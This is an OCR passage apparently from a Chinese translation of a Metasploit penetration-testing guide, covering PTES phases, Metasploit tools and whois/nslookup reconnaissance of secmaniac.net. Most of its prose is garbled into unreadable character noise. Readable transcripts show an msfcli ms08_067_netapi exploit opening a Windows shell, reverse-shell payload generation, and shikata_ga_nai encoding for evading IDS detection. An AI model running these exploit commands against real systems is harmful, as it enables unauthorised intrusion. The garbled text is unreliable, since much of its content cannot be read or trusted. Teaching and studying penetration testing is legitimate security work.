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JHTE Y83 WD

B, ®2VHAERNEXZEINKESEN TG T —8BEF, oz Ay LMo E
MV RGP FRLHATIRHE (PTES: Penetration Testing Execution Standard) 1E1EXTZ5E R
WHITEHE N, FtrENZOES LR E rE#ITEBENRFERPEARENRELZE, KE
N—RHEIERBENREE, HFEAR2VANZNE. g2 ENKSEE “HF” M
“ZY57 1A, wRERNINE L 2FEE S, 838 2SR PATIREE A K
&, 1§18 http:// www.pentest-standard org/ AT B T &,



Metaspiloit i&i% it 5 F

1.1 PTES #trAEHRRZEZEMIR M EZ

PTES FriErh #9728 0N BUR K e 3G &N, Hide s 5 AR Ll — M il
75 AR e —IRIBEIR, AR B HERPATIEF RV ZAsHERE B AT FE 7Y
BB IEERAY B b AR ], T HEmb s 4 i W i 4 A A & 4
LT RE . MAERMIRHAL —ZLBFEWRE, ERNTHER T — TS NBEIAY BT
e R AR S

1.1.1 IR EME

BTHIAS TR BOB % R AR 5 & ST SURIT IS, ki BB IR T BA HAR. XAMEB
B S R B ELE P A8 Wi i T A m IR v R R H bR . T X AN B R
HETHIE, KURZE A H A0 RS MR FE AR R, 1648 F IR 5L T 4T A3 MR H 45
KT L BRI

1.1.2 1FRIEEH

ETFIRIRAEH B, IR ERA S Ml BRI TR R R I E P HLANGER, &
TEAE AT RN S . Google Hacking K. BIR KRR AFE. MENZBEMRE, REN
FER—IIAEHUEX HAR RG IR ARE ST, WAEIRAE AT AR, BT, LS L
Al B . X H AR R R RS B W B R HER R H AR R PTIR N R 2 HIE M.

EFREEN BA, KBRS E D RN, R EE B R RG 5l Tt e
PrmLE]. 2B, - NOEX AT IR M S St E& % st B uw LI 8, R Aokt
Frem RS MERE, T—EIR7E RSB Z M QU7 X R &R, BarmagimnA
o A B AT BHL W o 38 W BT XX R PELIBTAT A 89— AN 75 A A S AR TS Rl X HoAtR TP Stk SR E4T %)
Za RN, TIXAS 1P MR R AR 2 e FE T R A R B AG .  SURTELR Web W RFEFFAT, X
PMIEREARRER R, AR Web NATEFH Web B H] B K4l %t <75 VR B 2R
AR I — i BME S AR TP BEAT PR, {ESURTETEFERIXA 1P AR 73 K .

AT R EROX P R B AR BT ORUE AN B B, AR AT LI L2 7032 (3] 99 1) R 2 AR 1) A A
(TP HuhE Ve B R EATHIG . AEFEO T, EEBM EaZfE v R i H s RERRHSE
BR| LB, TRIPHGE MR — R SEANBET R E T IASBER.

BR: RTARA AN ERBERIRLETAHARTLLARFTEL IP I, kitf74F
wOBR i, AT AN B R R P LR R T A B AR AR T Ferfy BLAR AT R 3L
# LA K,

1.1.3  BUBMHEEN &
BN AR 3 A R R AE IR AT BT R B E R, KA IR B As R G LT REAFER &
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W S55 2. EVAT R, PR B MBI TR URBTR B - SRR
frE, DARATE BRI AR RS . (EEEEME, RER&HEREHSENRTERS, R
fa ARG B AL A AL e R 22 A R H PR R SE 58 1L

1.1.4 WA E

—H#ERAITRRE AL G, HFEE R ZmfT RS s RER V. ERR
TETEL, R LRE MNETE AL IRREINGE R, TP TR s
ALAT . PR A A e L AR A R, B MIRSS R (S, BURAENHR
TR 73 B A RS B

1.1.5 BEXEME

BB BT ] R RAEZE R LR P B R RER T, AR AESE BRI O N R B AR B TR
B2 “WUDAN”, AR “HRER 7. R R REA LR R E BB T & KT
FInHiR, A FAEX AR R L RZIKBBEE L, AREHRRET R EAESR —2/REFMm
B R & PP, B XREEL IR . BEEIiCERE, EREHEME — 1
AR, RN T A H AR RS EAAERXAN R HT KRG H KRB EZ{ 2 5
AL A IR — > shell MRACE PO A, 3XFP 7 20 23 UK R ] 1990, A N8 42
B A FIVRCA BARK & P HAR VAR T HB . ERMUTFIIR, KRR B RELRHEE
21l T RN R APRARZE A, XA 1 Al GRS AT .

1.1.6 REEWLEME

e BRI B MR A B T & M ARK — 2 R GBUN SR B R 5T, HER
e TILA R £ FHEM.

JRBBEIER BAEARA] — RE B WA R P AR — R T, Xt R & AE ALk
RLEF R /DTS, HEMNMEREERRAT AT REGIER BT . FEE
et Bir BURs LAY e ML 55 RGEAE N H ks, RGBSR Al v i, I RE AR B AU EN
ZAHAT Z 2R HERBMEF, QRN DREBA T — PRGN, VREEHR RS
J 40 B I T L 5 R i Bl A2

EJR BB BUE T RGBT, RTEBAE D FIH R E S A AR RA N E,
CARENTHRARIBI S At BP0k, WERCLXfE 7T — M EEERS S RERCEIR
PAENEREANKS, SRR R, REfFCLpoy BN KgEE, HIRER
FIE 5730 H ok AR 55 A TR A B R G AT A FBIR? HIRSUS & P A SR R $H K<
B 5 RAEAEW B THE? REEGHIRIX G R, IFET—REFN, KA FARHKEE
BE— NS aIRATIR P LB ? IRAER B H LB RH P BT 7E 0 g ?




Metasploit 7% ik 5

BARAR 2 P AR — R KRB T RSNk, BB ML 55 e 7T & — 2 R AT
R IG RAEABA I P I AE— S8R P A IR P A . PRAEF AR I RIS PR S TT,
H BRI ITE %/ AL ? PR B8 0% X OHR 3 AR 1B & S E R 7

R ENRN B, MFEREXLEEULEAGRTIERTHER, #BRRAE, Hi&
AR A CHTR BB Bis. NBEEERAE, —MEERNRGEETELBAL SRR
ot FR—EARE, REN—2BNERZERE, RHRER - AEEREGE R
PEEEX, RAEAEER, fewRdtsyN, RS TRIO®EINEK, TAREHATERZ)
HWHIBEGER TR,

1.1.7 REME

W RISFEN AR P ERAEEMEE, FREERRE ORI RRFEZ ER LR P
THRLEL, iy, DURBCHEREK—F AL MEAEERARRNZ2RA S5 R

EEATIBFEMRR,, RN — DBt & B A BT TR, X2 THE-RESHARXR
HED), MAREBENRITRE IR ERE B RE S HER{E B =21 AR IIBI R
KYHHRBATIE. SRACG SR SRR, REESAER S ALANME L, Kot
IR ARE R LR IR, BARRE RS, PR BERRZEKTE, MHAUE
X R LR AT LT

TRATEES IR 5 B0 Nz A E . IR AMBOR KX ET, SRR EBI =
IR E P AS AR B ZEwR, AXBEZENATEREMERNARIIE. fll, IRE
BEPHZR Web MAFEFFFHM T —4 SQL AR, RESEMRE KB AR R E B
% 0 B B PN ITR B 0E, (RS 8L SQL &4, AN RREH K
Fizqy SQL 4], VAR FAERIMHEHE . HRME LI T IRMETUE RN T X ME E R
SQL FARFZ )G, MARTIAESHHERE SQL FEABGE 7?7 FAEK! — M EAlREFE SQL i
AR RE RN T REMREZSMHNB = TNA, MERKMR S D RN Z 0% E
XERE, HEUE AT HER B H HER X LR .

1.2 ZBiEMLER

BN L, FELMBEIANEEABARBESHTH T —MIPHT8E, BETRIE
BATREBZBNANAFELRRY. AGHNKASESTEH. 01, FresEndy “Al
R, BIGEBEMNAEERGZ S ARE NIRRT 3T, mAREiR N xdtn
B — X % AL — R BT AR Bk 8 BTt AT R Biti . BRI A A Tl B 2 A
BAEH
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1.21 BaEMR

FA A&, REEMEAL R THE, RIRANHEBENLERK, Z/THLM IT 3L
R 22 ARG 2 BRI RS S M. AaRRR B KITF—RIRETIE AN
4NN, IR CUAEAR T B R N S R TR e Ty . T A E BRI B KR EETE
A R R P SRR S TN R, 3 T0 A i A 71 B B2 4 Bl A R e B i Mk Y
M., MENAGR, SURRENEEIRE aEREE A EEZ ARE, BaEEN
AT B R R B T A0 T

122 BN

HP&EARRNRE, RN RENRE T RARMBEENARIT A, HEAT
2L P SR E BN ARSI F SRS . RSB0 AT LA SR Bk P 5 e 4 F A0 B0 A 1
X — R BT IRE )

EEMREERRN RN, FANGEEEENRFAEEFRATARES. £k AHE
FIRER T, By 2EZHSZN, BACEFEEMER T -REFEMEE TR, &
SRR BRI ERRZENES, Bk, /5 - RERNRREERLE,
REHE HATERY BFRRZENAA 2R, mMAFEZRRNIER BT UIRIR BHRRZEV
R AT B /DB RR AR, ORUEAS A i 3 . |

1.3 REAESS

TR A% R AR AR E RGN AT 22K B TR . Wi EE % 8Lk
BB R REHBRER IR BRAM R G5RE, DR EHArEiTHERS:, —BEEZ&
R B RAERRERA MG REL, R DMERIRIFAERBSPAT -2 ERE, KiE
FERPEZ 2. SRXEREFRECRERR T8 XE, HSEM 2 3
RIBRTT R —F, ENERZHNRSRERESRIFARE LNZEREA.

BRI MR R IR R T H LA TIENFRER, —BEALEFH ek
HHOCATFHRFERT, SE—EEERNFRAE, BRWBahERFH. RASHBESEN
WPHER T — MR BIER, 155 21 R VFIR F I &R 2 KB T o 205 F8 40 1] SR8 R
M B EA RIS F T . NREAREPRRE M MATEZFERMEN, B0 o
wEeEll. BEMRANRPZEETEAR—ITRE —ENENTE, mRIIHE S RG0E W
HEREREZHMIRNRKGE. EAZHELT, JRBRAI—LRFENZENRITZE, F7E
RADAE IR A, TRKIRENR B CRRIRA T LR RER BB R 4.
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1.4 NG

WERVRRI N 2 12IERRASUR, BNEER T —ERRTIERR, FEI—TEBEN
AATFRHE PTES. fEBATAEASESR . BAT — IRIBERERT, FHaE IRHH 0. Al s
HIBORFAE, T HIEN ZEWVUERR . FA—RBEIRE, KT EHR KNS ERE )
EERWHrERE, IR ATREIE BRI A K, IXEH BEAEVS % PRl 72 o K AR T X % A
w37 E B2 IR



Metasploit E i

PR — IR b Metasploit 2B IRHERL A (MSF) B, {Ru] g2 #E ROttt £ A8
H. &0, REMGRAERE, mBEETHEMN. TEATEY, RITVKEEE Metasploit HAl, ¥
HhAR6E 8 M 2y 1 B A% ) Metasploit $H 5 H — 2538 8% , 1k VREIE Hb 2 48 Metasploit I FEAR I .
AR &1 SE il — L E A2 E WA E, R EFEAR Metasploit Fri€ LRIANE R P £
1. Metasploit 4 5 & R 5 K1 RN, EEZSHXPHEREBHITI8RE, {H Metasploit B¢
PN AR .

{ER— IR Metasploit B, IREER A2 AAEXFTHEEFFZERR, mMA
%K Metasploit & e HEAT B,  BLRAR AT LAAE FH SR L8 6y & SR A% 18 1838 e T SE i .

21 FTAKE

AT, BRIV TARTE, FEHEES H . K9 LLT R R AR
REAE Metasploit HERR | F SCAE P 3E4T & UK, (HEF SN E XA 22N A2 EHK.
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2.1.1 ZiEWE (Exploit)

BER G EEAR G EREENRERE N RE. NSRRGSR RER, FriiTh
KAt . WEHEHBBREEZNRREN, SHSERTTREFTERA R B —MRFRES
Ho WATHRIBBHEHASHEE X RH . Web MARFRFSE (Hin SQL FEA), BAEA
FARCE S IR

212 WHEEH (Payload)

Wi o R B AV W E H s R E#B B BGE 2 G ZATHILES, 7E Metasploit fESEHa) LA
MR, XA . B, KR shell £—F M HEREVLBIZGE VBB MK ERE,
PALS 44T shell BB HAT(Z WAL 5 #1), i bind shell B8 £y WIZE H #5 FHL Ky 24T shell
G858 B —ANFT RO MW o 11, B0t 38 T LLEE BEIX e L1 SRR shell AT B . Bt 06T th a] GE £ &
HZE BFR R E RS ERAT @4, Wl Pk S%.

2.1.3 Shellcode

Shellcode f&7F 8% il HE A BB AT IE 1T — L2854 . Shellcode il AL %1 = %
B, ERBHIBNT, HIFREWMITT Shellcode X—HIKS2Z G, ALRE—A421T shell
i, # Meterpreter shell, Xt J& Shellcode 4 F#K ) HI 2K .

2.1.4 #Fi# (Module)

FEAFR LRSS, MY TE Metasploit fER S B A A —BURAFAURS A, &
HEepb i, PRo[RESEH — M EBE R (exploit module), g T 5CFr B EL T
WA TrERARR R, WIATREAER — MBI EEER (auxiliary module), FIRHPUT —EiE Wi
MBI RSEE R NBEEEE. XETEANTRAIR &+ HARSR A £ Metasploit FERLWIH5E KR
%O BTTE -

2.1.5 MAIFEs (Listener)

T 3% Metasploit " HIRFREAMSERKALMF, HHRE, £ HFEVBRBER S
ZJG, Ekeaiid B M EER| S 0L, R S A B B L SR e E R
RGKER, FHNITAHIX M ERIER

2.2 Metasploit R3O
Metasploit 3 4B FARAMIIBERME T2 IR EDO, %R, T NEEAN @




H2E Metasploit 25

M B TIXEeRELI 2 Ah, THEEFEF Cutilities) WIERHL T X) Metasploit HE 42 4 P & 2h HE 49 H &
i, X e EN TBBERBFER, LR —SRATERAELE RGNS EHAER
EERIRIE

221 MSF &im

MSF # i (msfconsole) 4 H A Metasploit HEZE & b FATHIR P # 0, ToiX AZAER B R 1Y,
P54 MSF £&35% & Metasploit HE42 P R 3% . Thiki 18 UUACSCRA BRI H) TR 2Z — . MSF #imit
7 —uhi=UfE 0, RESi5 R Metasploit ME2EHR )L — NEIFACE, MiFLLRIRRERS I
T4 5 E B A A R KT . PRal LA MSF 22 fiUE (7 515, B AR —REBENE . FK#H
HBNMEE, . GRS, EEXTENMK T AabigELGE .

R Metasploit HEARZAAMPIREMEFH 5, EMmSRSTEERFEHNIEE. Ei
PR R MSF 235 R AL A FH 77 vk, ] LABR I Metasploit fIBTH B ¥, & BFIERETH,
AT 1EB ¥ 48 ] MSF #2355 33 4T 7

® /53] MSF £

JAzh MSF 23 JriEdEw T ., R EAG 21T H A msfconsole.

root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >

------------

) N
H=-11*

msf »

i [a) MSF 235 B3 B S0, HFEEHA help, 307 LLIN_ AR BT & M ¥ metasploit 672 .
fE FHXAME 7, BAIX connect e KMREWMAHAFR), XL allAFRNS —
B EVGHITHEG. EaMERIIHSHHERFE. zxdarSriiag, CLASFA R R
5 I o

msf > help connect

BATRAE S5 8k 37 IR A MK ER R 5 T ## MSF 45 .

2.2.2 MSF %17

MSF #4417 #1 MSF £ 4 Metasploit HEZE V) (] 824t T B MR AN R B 2, MSF 25 LA
— PR SRBEA T R, BT RSERTE RITHEERSEYE, 10 msfeli W3 E X B

9
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A4 RS HAh Ay 24T T AR B #4EME . Msfeli ] LAE B MAT21T shell 34T, JFARVFIRR HAR L
ELEEIH T SE [ E msfeli 1, LRI msfeli A% H 5 g A A a2 47 L. msfeli i&FF/E
2% P B G FURBIEE S, 33X 0 HE B AR IR T R BT R B B ARSI 0L T AR R 7
X, ZEVREARR AN AR T B S B BB AT R EM AL B S H, B EMABCR L 25
Britidaib T B . msfeli $24% 7 —SUIEAR KRB ORI BB AT — M R A1),

a] LLif ik msfeli -h 47 4#17T 278:

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]

[ —————— S —————SR—— e ———— o T O  r r F N b e R — ————
e T . e e e e e 1 — T — —— o o o o S ol S | . (N R W T e e e e e e e e e e e e e e O e e

Mode Description

(H)elp You're looking at it, baby!

(S)ummary Show information about this module

(0)ptions Show available options for this module
(A)dvanced Show available advanced options for this module

(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module

(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module

(E)xecute Execute the selected module

root@bt:/opt/framework3/msf3#

® (KRB

ERATEEFWARER msfeli, HAENEHOFEAE LAERHH, XPne 2R
KALPRR WX AR DA IS HER .

T PRHITT 852 2] Metasploit, 5% 15 2 W AEAS F0138 20T A i 2 S EU IR, 4R AT EAZE IR S0
AR EMLREEN E—NFR “07, SaTUERXMERP RN ES . £ T
BlFh, BAVEHFRF “O” el AR ms08_067_netapi R KA B S HUE I .

root@bt:/# msfcli windows/smb/ms08_067 netapi O
[*] Please wait while we load the module tree...

Name
RHOST
RPORT
SMBPIPE

Current Setting Reguired Description

0.0.0.0 yes The target address
445 yes Set the SMB service port
BROWSER yes The pipe name to use (BROWSER, SRVSVC)

YR AT LA BIX M FE AR BT : RHOST. RPORT il SMPIPE. #7E, fntk A
LF “P” . PREERT LAY B ] FH A B 8 .

10



2% Metasploit ZHi

msfcli windows/smb/ms08 067 netapi RH0ST=192.168.1.155 P
wait while we load the module tree...

Compatible payloads

. " — " o i i " — w— " - " i W " =

Name Description
generic/debug_trap Generate a debug trap in the target process
generic/shell bind tcp Listen for a connection and spawn a command shell

{EATRNBEY R E TR ALERRERI, HEET M8 Z G, IR
] LB 7E msfeli KIS 28 ARG N EFR “E” , KizfTEB BN, WFiR:

root@bt:/# msfcli windows/smb/ms08 067 netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind tcp E
[*] Please wait while we load the module tree...

[*] Started bind handler

[*] Automatically detecting the target...

] Fingerprint: Windows XP Service Pack 2 - lang:English

] Selected Target: Windows XP SP2 English (NX)

[*] Triggering the vulnerability...

] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1,155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

AT 17 PoARMNEE N RS _ LZER] T —4 Windows 21T HJ shell.

2.2.3 Armitage

Metasploit HEAZE [ armitage ZH {2 — 58 238 B AR E B4R F 8200, 1 Raphael Mudge
i k. EANEORTFEERIIAE, HFHERRK, iEABREZ. BITEERBPAZHEAND
A8 55 armitage HJEH, (H'EM@EESEEN]E S5 % . AT B 52 VHEF 281 Metasploit
RIS ARG, 11— EART# T Metasploit ESERI LR TIERE, HAXAEEFE L EMIR
I 55 kDI Bk

® =17 Armitage

Y] LU S AT armitage @4 K 3 3) armitage. ZE)azhid i, %EFF “Start MSF”7, iXff
#L A Lk armitage 3% 4 3| VR I Metasploit 3241 L.

root@vt:/opt/framework3/msf3# armitage

armitage 33N Ja, fA) B0 T o5 SR BLIRUEE o] LAPRAT 4 € BB B BT, BOR D ) At Y
Metasploit g, Z5GIKEE, B 2-1 B THATHNSE (B in) BERLMLRE.

11
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amitage view Hests EIIEIEY workspaces Help .

Email Attacks
Ewil Files
i . * adobe_cooltype_sing
I E:u-.:;lqrr AL P .. aim_goaway
A L aol_icq_downioadagent

apple_guicktime_marshaled_punk
awingsoft_winds3d_scenewurl
chilkat_crypt_writefile
cisco_anyconnach_exec
communicrypt_mail_acthex
destudio_player_exec
enjoysapgui_comp_download
ie_createocbject

.| e_unsafe_scripting
java_basicsenace_impl

Ll ava codebase frust

o java_docbase_bof

z java_ws_arginject_alkjm

PR, i " --.--;'.-“ ms248_ 001 wmf _setabortproc
ms07_017_ani_loadmage_chunksize
ms08_041 _snapshotvawar

msl0 022 le vbscript winhip32
msl0_042 helpctr xss_emd_exec
msl0 046 shortcut_icom_dilloader
novelliprint_datetirmaa
novelliprint_target_frame
persits_xupload_traversal
symantec_altinsdeployment_downloadandinstall
symantec_appstream_unsafe
systemreguirementslab_unsafe
tumblewaed filatransfer
winamp_playlist_unc

wmi_admintoocls
zenturipragramchecker_unsafe

B 2-1 armitage ()30 B0 28 18 3 B v 3§ 00

2.3 Metasploit THEEIZFF

75 0985 W T Metasploit B = EEH P8O 2 )5, BLE T B3R /4 —L Metasploit ZhEEFE
FF T . Metasploit FIThEEFE P 2 7E K S0RF 5 9374 T, %) Metasploit HESE 1 ) —Ee45 PR Th REE1T
BHEVRKED, FREEIFRIE ST 812X BNHILAHNH F ) Metasploit
ThRERRRF, HEPRPHA T J R H HABRI T RERFF .

2.3.1 MSF M 8o i Es

MSF Iraia i 4 Al 88 RF VRAESE 4 B shellcode. AIHIATAARSFILALE B IR TE, HTELik
ENTERERK 2SN BEAN P HITHEHA .

Shellcode A] LA @05 C. JavaScript. ££3 Web N FH#259 Visual Basic B A<7E A 9 & F#
X, S bEEARRKSSPEHE. i, REMH Python ES&WE — M2 EX T
SWUEfLES (POC: Proof of concept), Hf4 CiESHRAME N ERIFN: WMRHEERS — N
WA E LTS, HALL JavaScript 8 5 7 2\ K i () shellcode ¥f B EBE SR, EWIEET AT
HA B8 i Y 2 TS AR AT AR B R X AN B B AT BN B — /N HTML U+ R fl A 2 18 At .

12



H2E Metasploit EEH

ik BATRE — T XA F E R BRI, a7+ A msfpayload -h, W1 FPk:

root@t:/# msfpayload -h

Y546 msfcli Bf—FF, MRFRHFFERE - PR ETEROLELIN, E#a2iT2BH
M—AF4F “07 , UATEAS B i me Fl & HIE IS, Wik

root@bt:/# msfpayload windows/shell reverse tcp O

BAE 7 M E VW IRFE BB BRI XN, "B NEAR T #FMEE MSF B 847 4
2R .

—

2.3.2 MSF %5385

Hi MSF Bt fir 4 pli 28 7= £ /) shellcode B5E2FIETH, HEHEPEET —LL null FF
7, fE—EEIFHITHRITN, XETFEHIWAIRFFRAER, NHFEEAEETRESNIT
ZATHERE & LE1T. ARG, X E\x00 F\xfT FIF A IR B AT

Fhb, FEMEE E B SCAE SR shellcode TR BT REBE N R R I RGEF AR B ATIR A, A TR
X —1a 8, Metasploit BIFF R & N1HAL T MSF 45i93%, =] L BhARE o % SRk Bk 8 #4749
R, R RIR R, LB RBER IDS FE T . %1 msfencode -h W] L MSF
B 2% G B T F 2K

Metasploit P T —RFI AT H T A SR T RS, —RERRGEMRA P35 8T 25
REEBGERBE N EEER, MXMSRAGSHIRERE R ABBEL DS, 3035 AN
A R B2 ol $TENE R D AR o 10 55 b — 258 S 38 F AL I e B 2838 3 76 i 37 5 b B R
MBI .

TEE B BRI 5, VRF] RE 5 B K Bh T- B9 KB x86/shikata_ga_nai %it54%, 7E Metasploit
FfE—— i Excellent 52X M) 028, XA EIRE T — M) o] SEHE RIS e MR AT
VM. X588, — Excellent BIyF KRB CRINATER, HHBEAhamEETLLE
WE KEEMARRME. DRFEESEMLHAMSmIDEFES, R LMER msfencode -1
S8, IS LUl et M R AT HEF B

root@bt:~# msfencode -1

2.3.3 Nasm Shell

nasm_shell.rb THEERRFFEEREZ R TR S XN ENFEEHANTLLIA, Sl
YRIATIBBEARL I KB, PR EN 4G L Ry 2 3R 'E B opcode BRfERS, A4 aEHT LA{E A 1X
NI GeRE R BR

13



Metasploit 7% iRi® 45/

i, JBREATEITXANTH, K jmp esp 2 M) opcode BEERSES, nasm shell Bf&4
VFIRATTZ FF E4.
root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb

nasm > jmp esp
00000000 FFE4 jmp esp

2.4 Metasploit Express #1 Metasploit Pro

Metasploit Express 1 Metasploit Pro & Metasploit fE42 f) #5 Mk 1k, Web £: 0344, XPNE
PPt TAFR al 5200 B shLThRE, ibF FIREB IR 2 5 #u A Al Metasploit #K14, [RI 074842
Pt 7% Metasploit HEZE 1) 554 U5 i) #2 [ o IXPR N Rk $2 4t 7 — L54F Metasploit # X W4 A7 5
AR TR, W E3hte 048R T A Bah M Bt T.RAE, 5)4F Metasploit Pro ff)— MR
TF AR AR I, AT LUINAE V2 B S I8 4 AT MR BT BL: B

IXERHEAME LG ? HARA ARG ER. BIRAR Metasploit & AERNLKEIE
A TR M AE BT, a] DURISROHX 6 TAEH IR 2B B ST 4k, (R X gk
an R S AL FE By sl 2D B E B OR T 5 BRA MBI, Rt LB B K.

B2, JRANARANEENA TR, RE—HIEEME, ATz T RE
BT B LS

2.5 Mg

EARZET, 773 T RKT Metasploit HERH)—LORLRHAT L. SRELEFEA LR, FREFF
bR AR T R R m I RE . VR¥ R IAE R AN R BRI 7 8 11 R 52 AR [ RE #1388 125 3k
E%5E, BREWEA -FRERBEZ, BARLHEAPBEEESRERN T RABRRTRAE D,

BAERCEMA T2 EM KR RN RE, RN ENRIERK T3
5 B#E.
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Wi R AT sT A B AR AT, BREBENRAMEPHE ANPE. HHEENEKZ
RHUZIE B R S, LT B ARG ET I, #ERER RIS, miX-—P)NDY
I B HEAT, AR RN 7 85 BIR A FE B i AR B R B W RS MR E TEA S 2L,
Mo e ST A AN RGERFASRTSERBLE R HisAZAE . HREENT/ETRSAEE
MM IR ENE B Google hacking. XFFiE H bR M4 Hh #h 1T 5 A M B G 58, IX LT 4F
FEFERKHINE, SEBRERARNWEE. HREETEFTERFER R, B, mEEE
HEEAZNEGE AR EZRENERNGE . EX—PRYP, RESEARTTRSFHEMEHR
AERERGER. HERRX AN BOENEENE B EKEEE, BEREVEERSF
R T A R BE AR n) e e 5 2 TYEF IR LR

TG IR AR THE 2 W, RN BJE BN EE —DRIEMBING Rid KT XK. EE



Metasploit #1% BiX & &5

A B E PR R, VR0 FURTT RETE AT B WK TAER T iE R KEHLEELHK
PR RN SERRE - KEE WL RS WA MR ERTEG B
EMHMLRL R, 28 F % 10953 MRt 5 24 A8 85 18 A BT id XA O R EILH /R Ry L
YELLFE .

IR LR R — e B h BERRIT, FAERRENE TENER. X IR
TAHERHAT IO RN, BB . FB. KEEW. A, EWESCAR, EHRATBER S L0,
R CLI T Hirr A e SR 2IMNER.

SHFARBHARG, BERR T BN A O K RIS R IR root BUR, HARIHE
SRR, KEZIRLFREAT.

B&: AEFPESHMNBHORFATHRLSMIL A THRARAXBAFN A%, B
RN LB BRI T RRFKR. (EH, FEAMRA.) ABPREFTPHHT
MAFRIM, THELAPHEAFZAGTAKR. AEFHRGRRXF ERMEERA T
LRICEE, FARETHL, FTEHMBENF.

3.1 #HIMEEREE

MR TS ISR TS, ARTTLIZE R BARE AR R A RIS TR B AR R, 2
BISR B8, HRET LA R e B TS P A LR i A R, B T B AR o
) 5 1 2R 6 0 R 45 8 R AR 2R

ATFIENEH (OSINT) £ —2% A TR OIS B R K R R 2 A AT LUIKER B A0 H ARtk
e, —RF T AKALMENE BI9E T A RILERE, KA Yeti 1 Whois B. ZEAY
b, RAVEEITEEE BB, LR IRIEHIERE f T g4 4 00 TR G

feix B AR — KEEX http://www.secmaniac.net/M 35 F1 B . FRATTH B 5 2 8 52 M
4 T 2 I A 20 10 R e e A R Tk R R, 3K 0 9 MR T4 vp b AR
/ol B4y . R T RIS B R G ] BRI RV IR A R, N 24 RI7E i
i 2 4

3.1.1 whois &if]
.4 MA¥ B Back|Track ] whois £ )33k secmaniac.net 138,44 Ik 55 3N\ F-.
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FIE (HREE

mst > whois secmaniac.net
[*] exec: whois secmaniac.net

« « SNIP . . .
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10

©@0Domain servers in listed order:
NS57.DOMAINCONTROL . COM
NSS58. DOMAINCONTROL . COM

ORI RINELSZ (DNS) R4 2% DOMAINCONTROL.COM &4}, X R X T AREBT
RN ARG AT . & S KRPE YT, DNS REBFFHBEACAES, o] ABERE
i 5. fHFHEESF DNS AR5 88 59 DX 5l A% 26 By LA & FoA UL i Bty , a2 0 & RERE 4R 8% tH — 1
P 2% N S R AR AR 245 B (BEX M HRT, DOMAINCONTROL.COM A secmaniac.net
i, BTUARRATIAGEXTIX Lt 42 IR &5 85 AT B0, W 4 EB B H AR Bt k.

3.1.2 Netcraft

Netcraft (http://searchdns.netcraft.com/) &— Ml FHK TH, FHERNIGES KM AE
FAEr e b IR 4% 1P Heht, nH 3-1 Fior.

Site PR /A SECTTIEIN B, COm Last raboot Unkngwn E=A uptime graph
Domakin TN T, LTy HNatblock owner WIDEOPENWE ST OHIOD
IF address 75.118.185.142 Site rank 52103
Country = s MRS e T ns2 .no-ip.com
Dabe st paan Tty 2009 DNS admin hastmast er@oo-ip.com
Domatn Ragistrar na-igcom Reversa DNS dl §8-75-142-185 . trywideopenwest. com
Organisation ATTN: secmaniac.com, ofo Mo-[Pcom Registralion Privacy, B0, Box 19083, Namaseryer Vitahweres Inbermet Solutions, LLT 100 Washingion 5t., Suite 250,
Rena, #9511, United Stabes Organisation Remna, 89503, United States
Chack another site: [" ' Metcraft Site Report + Lo g |
P : - Gadost Mﬁmm} % ]

B 3-1 {#FH Netcraft 4% HH A& B304 5 ol 1) IR 55 2% TP Hiuhl

1 B secmaniac.net {] 1P Hulib /& 75.118.185.142 f&5, BATTHB— KENATIEAS 1P #ihkfY) whois
£ 1)«

mst > whois 75.118.185.142

[*] exec: whois 75.118.185.142

WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255

WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255

M whois BT H 45 SR TR WIDEOPENWEST BHEXBEBEMEFIRSIROETH. B TE
ST B 70 B AN TFE MY secmaniac.net 8%, secmaniac.com B4 T, BAI1RE S ] WX 4~ M 35 7] GE
BITEEMEANFR, HAIP b EFRREEFRERH P AHbEE A .
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Metasploit j&i% i 5 &5

3.1.3 NSLookup

N T IREETF RS2 1M {5 8, AT MEH Back|Track $4T nslookup, X% ¥k R4ty
R T IXAT B, AR E i3 secmaniac.net BT 245 K.

root@bt:~# nslookup

set type=mx

» secmaniac.net

Server: 172.16.32.2
Address: 172.16.32.2#53

Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstorei.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

T FRB D, BATE DM IR FE 2EH DNS 12:x15[f] mailstorel secureserver.net F
smip.secureserver.net. {REE, XLEHI{FARGFRZE B =TTE4ER, RFEANERNBEZENX
TR

FERAIE, BIMNCEHERT —LERETEPTRSHAZNGIERN BiIsER. AR
BARANEEMEBY F3)E BIRERRXT H R 1P bk (75.118.185.142) BT EAER A5 BE& M.

BT WA EHRER TR, ERRIUAKMITHRHERRTIEN. TAEAE “5
i WX MATARA (PTES; http:/www.pentest-standard.org/ )” _LE# 5%, 36RARMGEINHEE
M T AE.

32 IHMEEEE

EEFERMETHED, RINEHEREEEZE, AT HBETEERANT#H. 260K
B, AT LASAAT S VR R 80 € H AR RAITI T WL 1L 1217 TWREERR % . BRI F
W ENEGEITR RS, R - ERERIMIS. BEEER. MRREESERBEEDL
RS ANL, BARRBRAIESBARRARSE (IDS) BRARPIHRS (PS) &#ft, X4
A FE— N AAT ML S5 HE BT B AR EE BIRETR

3.2.1 {£/ Nmap #{Tim O 3$&E

Wil ahs BIREWE T BisR 1P GRS GXBAILL secmaniac.net W) 1P Huhk 461 ), Al
A DA FF 44 B 3 1 FE 3R H AR TP OR3GO . 3 DR R LR SE iR R E A A ER P i
KRR, M\ T SE W e R TR . (IRAH B R B AR R KR AN, BRIMSFREZFHFEGEN
IP Hihik, TWARAEEIFRI—41P.)

